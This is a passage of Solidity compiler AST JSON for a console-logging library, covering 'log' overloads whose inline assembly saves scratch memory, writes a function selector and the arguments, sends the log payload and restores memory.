6:3:22","type":""},{"name":"w","nativeSrc":"89661:1:22","nodeType":"YulTypedName","src":"89661:1:22","type":""}],"src":"89635:342:22"},{"nativeSrc":"89990:17:22","nodeType":"YulAssignment","src":"89990:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"90002:4:22","nodeType":"YulLiteral","src":"90002:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"89996:5:22","nodeType":"YulIdentifier","src":"89996:5:22"},"nativeSrc":"89996:11:22","nodeType":"YulFunctionCall","src":"89996:11:22"},"variableNames":[{"name":"m0","nativeSrc":"89990:2:22","nodeType":"YulIdentifier","src":"89990:2:22"}]},{"nativeSrc":"90020:17:22","nodeType":"YulAssignment","src":"90020:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"90032:4:22","nodeType":"YulLiteral","src":"90032:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"90026:5:22","nodeType":"YulIdentifier","src":"90026:5:22"},"nativeSrc":"90026:11:22","nodeType":"YulFunctionCall","src":"90026:11:22"},"variableNames":[{"name":"m1","nativeSrc":"90020:2:22","nodeType":"YulIdentifier","src":"90020:2:22"}]},{"nativeSrc":"90050:17:22","nodeType":"YulAssignment","src":"90050:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"90062:4:22","nodeType":"YulLiteral","src":"90062:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"90056:5:22","nodeType":"YulIdentifier","src":"90056:5:22"},"nativeSrc":"90056:11:22","nodeType":"YulFunctionCall","src":"90056:11:22"},"variableNames":[{"name":"m2","nativeSrc":"90050:2:22","nodeType":"YulIdentifier","src":"90050:2:22"}]},{"nativeSrc":"90080:17:22","nodeType":"YulAssignment","src":"90080:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"90092:4:22","nodeType":"YulLiteral","src":"90092:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"90086:5:22","nodeType":"YulIdentifier","src":"90086:5:22"},"nativeSrc":"90086:11:22","nodeType":"YulFunctionCall","src":"90086:11:22"},"variableNames":[{"name":"m3","nativeSrc":"90080:2:22","nodeType":"YulIdentifier","src":"90080:2:22"}]},{"nativeSrc":"90110:17:22","nodeType":"YulAssignment","src":"90110:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"90122:4:22","nodeType":"YulLiteral","src":"90122:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"90116:5:22","nodeType":"YulIdentifier","src":"90116:5:22"},"nativeSrc":"90116:11:22","nodeType":"YulFunctionCall","src":"90116:11:22"},"variableNames":[{"name":"m4","nativeSrc":"90110:2:22","nodeType":"YulIdentifier","src":"90110:2:22"}]},{"nativeSrc":"90140:17:22","nodeType":"YulAssignment","src":"90140:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"90152:4:22","nodeType":"YulLiteral","src":"90152:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"90146:5:22","nodeType":"YulIdentifier","src":"90146:5:22"},"nativeSrc":"90146:11:22","nodeType":"YulFunctionCall","src":"90146:11:22"},"variableNames":[{"name":"m5","nativeSrc":"90140:2:22","nodeType":"YulIdentifier","src":"90140:2:22"}]},{"nativeSrc":"90170:17:22","nodeType":"YulAssignment","src":"90170:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"90182:4:22","nodeType":"YulLiteral","src":"90182:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"90176:5:22","nodeType":"YulIdentifier","src":"90176:5:22"},"nativeSrc":"90176:11:22","nodeType":"YulFunctionCall","src":"90176:11:22"},"variableNames":[{"name":"m6","nativeSrc":"90170:2:22","nodeType":"YulIdentifier","src":"90170:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90270:4:22","nodeType":"YulLiteral","src":"90270:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"90276:10:22","nodeType":"YulLiteral","src":"90276:10:22","type":"","value":"0xaa6540c8"}],"functionName":{"name":"mstore","nativeSrc":"90263:6:22","nodeType":"YulIdentifier","src":"90263:6:22"},"nativeSrc":"90263:24:22","nodeType":"YulFunctionCall","src":"90263:24:22"},"nativeSrc":"90263:24:22","nodeType":"YulExpressionStatement","src":"90263:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90307:4:22","nodeType":"YulLiteral","src":"90307:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"90313:2:22","nodeType":"YulIdentifier","src":"90313:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90300:6:22","nodeType":"YulIdentifier","src":"90300:6:22"},"nativeSrc":"90300:16:22","nodeType":"YulFunctionCall","src":"90300:16:22"},"nativeSrc":"90300:16:22","nodeType":"YulExpressionStatement","src":"90300:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90336:4:22","nodeType":"YulLiteral","src":"90336:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"90342:2:22","nodeType":"YulIdentifier","src":"90342:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90329:6:22","nodeType":"YulIdentifier","src":"90329:6:22"},"nativeSrc":"90329:16:22","nodeType":"YulFunctionCall","src":"90329:16:22"},"nativeSrc":"90329:16:22","nodeType":"YulExpressionStatement","src":"90329:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90365:4:22","nodeType":"YulLiteral","src":"90365:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"90371:2:22","nodeType":"YulIdentifier","src":"90371:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90358:6:22","nodeType":"YulIdentifier","src":"90358:6:22"},"nativeSrc":"90358:16:22","nodeType":"YulFunctionCall","src":"90358:16:22"},"nativeSrc":"90358:16:22","nodeType":"YulExpressionStatement","src":"90358:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90394:4:22","nodeType":"YulLiteral","src":"90394:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"90400:4:22","nodeType":"YulLiteral","src":"90400:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"90387:6:22","nodeType":"YulIdentifier","src":"90387:6:22"},"nativeSrc":"90387:18:22","nodeType":"YulFunctionCall","src":"90387:18:22"},"nativeSrc":"90387:18:22","nodeType":"YulExpressionStatement","src":"90387:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90430:4:22","nodeType":"YulLiteral","src":"90430:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"90436:2:22","nodeType":"YulIdentifier","src":"90436:2:22"}],"functionName":{"name":"writeString","nativeSrc":"90418:11:22","nodeType":"YulIdentifier","src":"90418:11:22"},"nativeSrc":"90418:21:22","nodeType":"YulFunctionCall","src":"90418:21:22"},"nativeSrc":"90418:21:22","nodeType":"YulExpressionStatement","src":"90418:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36602,"isOffset":false,"isSlot":false,"src":"89990:2:22","valueSize":1},{"declaration":36605,"isOffset":false,"isSlot":false,"src":"90020:2:22","valueSize":1},{"declaration":36608,"isOffset":false,"isSlot":false,"src":"90050:2:22","valueSize":1},{"declaration":36611,"isOffset":false,"isSlot":false,"src":"90080:2:22","valueSize":1},{"declaration":36614,"isOffset":false,"isSlot":false,"src":"90110:2:22","valueSize":1},{"declaration":36617,"isOffset":false,"isSlot":false,"src":"90140:2:22","valueSize":1},{"declaration":36620,"isOffset":false,"isSlot":false,"src":"90170:2:22","valueSize":1},{"declaration":36592,"isOffset":false,"isSlot":false,"src":"90313:2:22","valueSize":1},{"declaration":36594,"isOffset":false,"isSlot":false,"src":"90342:2:22","valueSize":1},{"declaration":36596,"isOffset":false,"isSlot":false,"src":"90371:2:22","valueSize":1},{"declaration":36598,"isOffset":false,"isSlot":false,"src":"90436:2:22","valueSize":1}],"id":36622,"nodeType":"InlineAssembly","src":"89612:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36624,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"90474:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":36625,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"90480:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":36623,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"90458:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36626,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"90458:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36627,"nodeType":"ExpressionStatement","src":"90458:27:22"},{"AST":{"nativeSrc":"90504:214:22","nodeType":"YulBlock","src":"90504:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"90525:4:22","nodeType":"YulLiteral","src":"90525:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"90531:2:22","nodeType":"YulIdentifier","src":"90531:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90518:6:22","nodeType":"YulIdentifier","src":"90518:6:22"},"nativeSrc":"90518:16:22","nodeType":"YulFunctionCall","src":"90518:16:22"},"nativeSrc":"90518:16:22","nodeType":"YulExpressionStatement","src":"90518:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90554:4:22","nodeType":"YulLiteral","src":"90554:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"90560:2:22","nodeType":"YulIdentifier","src":"90560:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90547:6:22","nodeType":"YulIdentifier","src":"90547:6:22"},"nativeSrc":"90547:16:22","nodeType":"YulFunctionCall","src":"90547:16:22"},"nativeSrc":"90547:16:22","nodeType":"YulExpressionStatement","src":"90547:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90583:4:22","nodeType":"YulLiteral","src":"90583:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"90589:2:22","nodeType":"YulIdentifier","src":"90589:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90576:6:22","nodeType":"YulIdentifier","src":"90576:6:22"},"nativeSrc":"90576:16:22","nodeType":"YulFunctionCall","src":"90576:16:22"},"nativeSrc":"90576:16:22","nodeType":"YulExpressionStatement","src":"90576:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90612:4:22","nodeType":"YulLiteral","src":"90612:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"90618:2:22","nodeType":"YulIdentifier","src":"90618:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90605:6:22","nodeType":"YulIdentifier","src":"90605:6:22"},"nativeSrc":"90605:16:22","nodeType":"YulFunctionCall","src":"90605:16:22"},"nativeSrc":"90605:16:22","nodeType":"YulExpressionStatement","src":"90605:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90641:4:22","nodeType":"YulLiteral","src":"90641:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"90647:2:22","nodeType":"YulIdentifier","src":"90647:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90634:6:22","nodeType":"YulIdentifier","src":"90634:6:22"},"nativeSrc":"90634:16:22","nodeType":"YulFunctionCall","src":"90634:16:22"},"nativeSrc":"90634:16:22","nodeType":"YulExpressionStatement","src":"90634:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90670:4:22","nodeType":"YulLiteral","src":"90670:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"90676:2:22","nodeType":"YulIdentifier","src":"90676:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90663:6:22","nodeType":"YulIdentifier","src":"90663:6:22"},"nativeSrc":"90663:16:22","nodeType":"YulFunctionCall","src":"90663:16:22"},"nativeSrc":"90663:16:22","nodeType":"YulExpressionStatement","src":"90663:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"90699:4:22","nodeType":"YulLiteral","src":"90699:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"90705:2:22","nodeType":"YulIdentifier","src":"90705:2:22"}],"functionName":{"name":"mstore","nativeSrc":"90692:6:22","nodeType":"YulIdentifier","src":"90692:6:22"},"nativeSrc":"90692:16:22","nodeType":"YulFunctionCall","src":"90692:16:22"},"nativeSrc":"90692:16:22","nodeType":"YulExpressionStatement","src":"90692:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36602,"isOffset":false,"isSlot":false,"src":"90531:2:22","valueSize":1},{"declaration":36605,"isOffset":false,"isSlot":false,"src":"90560:2:22","valueSize":1},{"declaration":36608,"isOffset":false,"isSlot":false,"src":"90589:2:22","valueSize":1},{"declaration":36611,"isOffset":false,"isSlot":false,"src":"90618:2:22","valueSize":1},{"declaration":36614,"isOffset":false,"isSlot":false,"src":"90647:2:22","valueSize":1},{"declaration":36617,"isOffset":false,"isSlot":false,"src":"90676:2:22","valueSize":1},{"declaration":36620,"isOffset":false,"isSlot":false,"src":"90705:2:22","valueSize":1}],"id":36628,"nodeType":"InlineAssembly","src":"90495:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"89399:3:22","parameters":{"id":36599,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36592,"mutability":"mutable","name":"p0","nameLocation":"89411:2:22","nodeType":"VariableDeclaration","scope":36630,"src":"89403:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36591,"name":"address","nodeType":"ElementaryTypeName","src":"89403:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36594,"mutability":"mutable","name":"p1","nameLocation":"89423:2:22","nodeType":"VariableDeclaration","scope":36630,"src":"89415:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36593,"name":"address","nodeType":"ElementaryTypeName","src":"89415:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":36596,"mutability":"mutable","name":"p2","nameLocation":"89432:2:22","nodeType":"VariableDeclaration","scope":36630,"src":"89427:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":36595,"name":"bool","nodeType":"ElementaryTypeName","src":"89427:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":36598,"mutability":"mutable","name":"p3","nameLocation":"89444:2:22","nodeType":"VariableDeclaration","scope":36630,"src":"89436:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36597,"name":"bytes32","nodeType":"ElementaryTypeName","src":"89436:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"89402:45:22"},"returnParameters":{"id":36600,"nodeType":"ParameterList","parameters":[],"src":"89462:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":36664,"nodeType":"FunctionDefinition","src":"90730:792:22","nodes":[],"body":{"id":36663,"nodeType":"Block","src":"90805:717:22","nodes":[],"statements":[{"assignments":[36642],"declarations":[{"constant":false,"id":36642,"mutability":"mutable","name":"m0","nameLocation":"90823:2:22","nodeType":"VariableDeclaration","scope":36663,"src":"90815:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36641,"name":"bytes32","nodeType":"ElementaryTypeName","src":"90815:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36643,"nodeType":"VariableDeclarationStatement","src":"90815:10:22"},{"assignments":[36645],"declarations":[{"constant":false,"id":36645,"mutability":"mutable","name":"m1","nameLocation":"90843:2:22","nodeType":"VariableDeclaration","scope":36663,"src":"90835:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36644,"name":"bytes32","nodeType":"ElementaryTypeName","src":"90835:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36646,"nodeType":"VariableDeclarationStatement","src":"90835:10:22"},{"assignments":[36648],"declarations":[{"constant":false,"id":36648,"mutability":"mutable","name":"m2","nameLocation":"90863:2:22","nodeType":"VariableDeclaration","scope":36663,"src":"90855:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36647,"name":"bytes32","nodeType":"ElementaryTypeName","src":"90855:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36649,"nodeType":"VariableDeclarationStatement","src":"90855:10:22"},{"assignments":[36651],"declarations":[{"constant":false,"id":36651,"mutability":"mutable","name":"m3","nameLocation":"90883:2:22","nodeType":"VariableDeclaration","scope":36663,"src":"90875:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36650,"name":"bytes32","nodeType":"ElementaryTypeName","src":"90875:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36652,"nodeType":"VariableDeclarationStatement","src":"90875:10:22"},{"assignments":[36654],"declarations":[{"constant":false,"id":36654,"mutability":"mutable","name":"m4","nameLocation":"90903:2:22","nodeType":"VariableDeclaration","scope":36663,"src":"90895:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":36653,"name":"bytes32","nodeType":"ElementaryTypeName","src":"90895:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":36655,"nodeType":"VariableDeclarationStatement","src":"90895:10:22"},{"AST":{"nativeSrc":"90924:381:22","nodeType":"YulBlock","src":"90924:381:22","statements":[{"nativeSrc":"90938:17:22","nodeType":"YulAssignment","src":"90938:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"90950:4:22","nodeType":"YulLiteral","src":"90950:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"90944:5:22","nodeType":"YulIdentifier","src":"90944:5:22"},"nativeSrc":"90944:11:22","nodeType":"YulFunctionCall","src":"90944:11:22"},"variableNames":[{"name":"m0","nativeSrc":"90938:2:22","nodeType":"YulIdentifier","src":"90938:2:22"}]},{"nativeSrc":"90968:17:22","nodeType":"YulAssignment","src":"90968:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"90980:4:22","nodeType":"YulLiteral","src":"90980:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"90974:5:22","nodeType":"YulIdentifier","src":"90974:5:22"},"nativeSrc":"90974:11:22","nodeType":"YulFunctionCall","src":"90974:11:22"},"variableNames":[{"name":"m1","nativeSrc":"90968:2:22","nodeType":"YulIdentifier","src":"90968:2:22"}]},{"nativeSrc":"90998:17:22","nodeType":"YulAssignment","src":"90998:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"91010:4:22","nodeType":"YulLiteral","src":"91010:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"91004:5:22","nodeType":"YulIdentifier","src":"91004:5:22"},"nativeSrc":"91004:11:22","nodeType":"YulFunctionCall","src":"91004:11:22"},"variableNames":[{"name":"m2","nativeSrc":"90998:2:22","nodeType":"YulIdentifier","src":"90998:2:22"}]},{"nativeSrc":"91028:17:22","nodeType":"YulAssignment","src":"91028:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"91040:4:22","nodeType":"YulLiteral","src":"91040:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"91034:5:22","nodeType":"YulIdentifier","src":"91034:5:22"},"nativeSrc":"91034:11:22","nodeType":"YulFunctionCall","src":"91034:11:22"},"variableNames":[{"name":"m3","nativeSrc":"91028:2:22","nodeType":"YulIdentifier","src":"91028:2:22"}]},{"nativeSrc":"91058:17:22","nodeType":"YulAssignment","src":"91058:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"91070:4:22","nodeType":"YulLiteral","src":"91070:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"91064:5:22","nodeType":"YulIdentifier","src":"91064:5:22"},"nativeSrc":"91064:11:22","nodeType":"YulFunctionCall","src":"91064:11:22"},"variableNames":[{"name":"m4","nativeSrc":"91058:2:22","nodeType":"YulIdentifier","src":"91058:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91162:4:22","nodeType":"YulLiteral","src":"91162:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"91168:10:22","nodeType":"YulLiteral","src":"91168:10:22","type":"","value":"0x8da6def5"}],"functionName":{"name":"mstore","nativeSrc":"91155:6:22","nodeType":"YulIdentifier","src":"91155:6:22"},"nativeSrc":"91155:24:22","nodeType":"YulFunctionCall","src":"91155:24:22"},"nativeSrc":"91155:24:22","nodeType":"YulExpressionStatement","src":"91155:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91199:4:22","nodeType":"YulLiteral","src":"91199:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"91205:2:22","nodeType":"YulIdentifier","src":"91205:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91192:6:22","nodeType":"YulIdentifier","src":"91192:6:22"},"nativeSrc":"91192:16:22","nodeType":"YulFunctionCall","src":"91192:16:22"},"nativeSrc":"91192:16:22","nodeType":"YulExpressionStatement","src":"91192:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91228:4:22","nodeType":"YulLiteral","src":"91228:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"91234:2:22","nodeType":"YulIdentifier","src":"91234:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91221:6:22","nodeType":"YulIdentifier","src":"91221:6:22"},"nativeSrc":"91221:16:22","nodeType":"YulFunctionCall","src":"91221:16:22"},"nativeSrc":"91221:16:22","nodeType":"YulExpressionStatement","src":"91221:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91257:4:22","nodeType":"YulLiteral","src":"91257:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"91263:2:22","nodeType":"YulIdentifier","src":"91263:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91250:6:22","nodeType":"YulIdentifier","src":"91250:6:22"},"nativeSrc":"91250:16:22","nodeType":"YulFunctionCall","src":"91250:16:22"},"nativeSrc":"91250:16:22","nodeType":"YulExpressionStatement","src":"91250:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91286:4:22","nodeType":"YulLiteral","src":"91286:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"91292:2:22","nodeType":"YulIdentifier","src":"91292:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91279:6:22","nodeType":"YulIdentifier","src":"91279:6:22"},"nativeSrc":"91279:16:22","nodeType":"YulFunctionCall","src":"91279:16:22"},"nativeSrc":"91279:16:22","nodeType":"YulExpressionStatement","src":"91279:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36642,"isOffset":false,"isSlot":false,"src":"90938:2:22","valueSize":1},{"declaration":36645,"isOffset":false,"isSlot":false,"src":"90968:2:22","valueSize":1},{"declaration":36648,"isOffset":false,"isSlot":false,"src":"90998:2:22","valueSize":1},{"declaration":36651,"isOffset":false,"isSlot":false,"src":"91028:2:22","valueSize":1},{"declaration":36654,"isOffset":false,"isSlot":false,"src":"91058:2:22","valueSize":1},{"declaration":36632,"isOffset":false,"isSlot":false,"src":"91205:2:22","valueSize":1},{"declaration":36634,"isOffset":false,"isSlot":false,"src":"91234:2:22","valueSize":1},{"declaration":36636,"isOffset":false,"isSlot":false,"src":"91263:2:22","valueSize":1},{"declaration":36638,"isOffset":false,"isSlot":false,"src":"91292:2:22","valueSize":1}],"id":36656,"nodeType":"InlineAssembly","src":"90915:390:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":36658,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"91330:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":36659,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"91336:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":36657,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"91314:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":36660,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"91314:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":36661,"nodeType":"ExpressionStatement","src":"91314:27:22"},{"AST":{"nativeSrc":"91360:156:22","nodeType":"YulBlock","src":"91360:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"91381:4:22","nodeType":"YulLiteral","src":"91381:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"91387:2:22","nodeType":"YulIdentifier","src":"91387:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91374:6:22","nodeType":"YulIdentifier","src":"91374:6:22"},"nativeSrc":"91374:16:22","nodeType":"YulFunctionCall","src":"91374:16:22"},"nativeSrc":"91374:16:22","nodeType":"YulExpressionStatement","src":"91374:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91410:4:22","nodeType":"YulLiteral","src":"91410:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"91416:2:22","nodeType":"YulIdentifier","src":"91416:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91403:6:22","nodeType":"YulIdentifier","src":"91403:6:22"},"nativeSrc":"91403:16:22","nodeType":"YulFunctionCall","src":"91403:16:22"},"nativeSrc":"91403:16:22","nodeType":"YulExpressionStatement","src":"91403:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91439:4:22","nodeType":"YulLiteral","src":"91439:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"91445:2:22","nodeType":"YulIdentifier","src":"91445:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91432:6:22","nodeType":"YulIdentifier","src":"91432:6:22"},"nativeSrc":"91432:16:22","nodeType":"YulFunctionCall","src":"91432:16:22"},"nativeSrc":"91432:16:22","nodeType":"YulExpressionStatement","src":"91432:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91468:4:22","nodeType":"YulLiteral","src":"91468:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"91474:2:22","nodeType":"YulIdentifier","src":"91474:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91461:6:22","nodeType":"YulIdentifier","src":"91461:6:22"},"nativeSrc":"91461:16:22","nodeType":"YulFunctionCall","src":"91461:16:22"},"nativeSrc":"91461:16:22","nodeType":"YulExpressionStatement","src":"91461:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"91497:4:22","nodeType":"YulLiteral","src":"91497:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"91503:2:22","nodeType":"YulIdentifier","src":"91503:2:22"}],"functionName":{"name":"mstore","nativeSrc":"91490:6:22","nodeType":"YulIdentifier","src":"91490:6:22"},"nativeSrc":"91490:16:22","nodeType":"YulFunctionCall","src":"91490:16:22"},"nativeSrc":"91490:16:22","nodeType":"YulExpressionStatement","src":"91490:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":36642,"isOffset":false,"isSlot":false,"src":"91387:2:22","valueSize":1},{"declaration":36645,"isOffset":false,"isSlot":false,"src":"91416:2:22","valueSize":1},{"declaration":36648,"isOffset":false,"isSlot":false,"src":"91445:2:22","valueSize":1},{"declaration":36651,"isOffset":false,"isSlot":false,"src":"91474:2:22","valueSize":1},{"declaration":36654,"isOffset":false,"isSlot":false,"src":"91503:2:22","valueSize":1}],"id":36662,"nodeType":"InlineAssembly","src":"91351:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"90739:3:22","parameters":{"id":36639,"nodeType":"ParameterList","parameters":[{"constant":false,"id":36632,"mutability":"mutable","name":"p0","nameLocation":"90751:2:22","nodeType":"VariableDeclaration","scope":36664,"src":"90743:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":36631,"name":"address","nodeType":"ElementaryTypeName","src":"90743:7:22","stateMutability":"nonpayable","typ